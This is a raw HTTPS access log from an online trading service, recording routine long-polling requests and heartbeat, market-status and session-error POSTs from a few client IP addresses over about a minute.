[09/Jan/2026:13:30:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936922199 HTTP/1.1" -
[09/Jan/2026:13:30:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936906805 HTTP/1.1" -
[09/Jan/2026:13:30:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936905864 HTTP/1.1" -
[09/Jan/2026:13:30:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936915140 HTTP/1.1" -
[09/Jan/2026:13:30:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936911874 HTTP/1.1" -
[09/Jan/2026:13:30:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936928194 HTTP/1.1" -
[09/Jan/2026:13:30:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936910930 HTTP/1.1" -
[09/Jan/2026:13:30:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936920200 HTTP/1.1" -
[09/Jan/2026:13:30:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936917021 HTTP/1.1" -
[09/Jan/2026:13:30:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936916012 HTTP/1.1" -
[09/Jan/2026:13:30:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936934186 HTTP/1.1" -
[09/Jan/2026:13:30:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936925307 HTTP/1.1" -
[09/Jan/2026:13:30:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936922190 HTTP/1.1" -
[09/Jan/2026:13:30:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936921085 HTTP/1.1" -
[09/Jan/2026:13:30:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936930342 HTTP/1.1" -
[09/Jan/2026:13:30:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936940198 HTTP/1.1" -
[09/Jan/2026:13:30:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936927341 HTTP/1.1" -
[09/Jan/2026:13:30:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936926112 HTTP/1.1" -
[09/Jan/2026:13:30:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936935406 HTTP/1.1" -
[09/Jan/2026:13:31:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936946191 HTTP/1.1" -
[09/Jan/2026:13:31:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936932508 HTTP/1.1" -
[09/Jan/2026:13:31:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936931210 HTTP/1.1" -
[09/Jan/2026:13:31:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936940502 HTTP/1.1" -
[09/Jan/2026:13:31:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936952196 HTTP/1.1" -
[09/Jan/2026:13:31:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936937575 HTTP/1.1" -
[09/Jan/2026:13:31:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936936311 HTTP/1.1" -
[09/Jan/2026:13:31:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936945568 HTTP/1.1" -
[09/Jan/2026:13:31:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936958191 HTTP/1.1" -
[09/Jan/2026:13:31:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936942626 HTTP/1.1" -
[09/Jan/2026:13:31:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936941367 HTTP/1.1" -
[09/Jan/2026:13:31:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936950665 HTTP/1.1" -
[09/Jan/2026:13:31:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936947762 HTTP/1.1" -
[09/Jan/2026:13:31:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936946500 HTTP/1.1" -
[09/Jan/2026:13:31:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936964196 HTTP/1.1" -
[09/Jan/2026:13:31:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936955733 HTTP/1.1" -
[09/Jan/2026:13:31:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936951565 HTTP/1.1" -
[09/Jan/2026:13:31:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936952914 HTTP/1.1" -
[09/Jan/2026:13:31:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936960762 HTTP/1.1" -
[09/Jan/2026:13:31:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936970184 HTTP/1.1" -
[09/Jan/2026:13:31:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936956588 HTTP/1.1" -
[09/Jan/2026:13:31:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936958103 HTTP/1.1" -
[09/Jan/2026:13:31:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936965853 HTTP/1.1" -
[09/Jan/2026:13:31:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936976189 HTTP/1.1" -
[09/Jan/2026:13:31:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936961675 HTTP/1.1" -
[09/Jan/2026:13:31:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936963233 HTTP/1.1" -
[09/Jan/2026:13:31:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936970940 HTTP/1.1" -
[09/Jan/2026:13:31:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936982196 HTTP/1.1" -
[09/Jan/2026:13:31:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936966746 HTTP/1.1" -
[09/Jan/2026:13:31:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936968335 HTTP/1.1" -
[09/Jan/2026:13:31:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936976035 HTTP/1.1" -
[09/Jan/2026:13:31:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936988186 HTTP/1.1" -
[09/Jan/2026:13:31:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936971816 HTTP/1.1" -
[09/Jan/2026:13:31:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936973400 HTTP/1.1" -
[09/Jan/2026:13:31:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936981117 HTTP/1.1" -
[09/Jan/2026:13:31:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
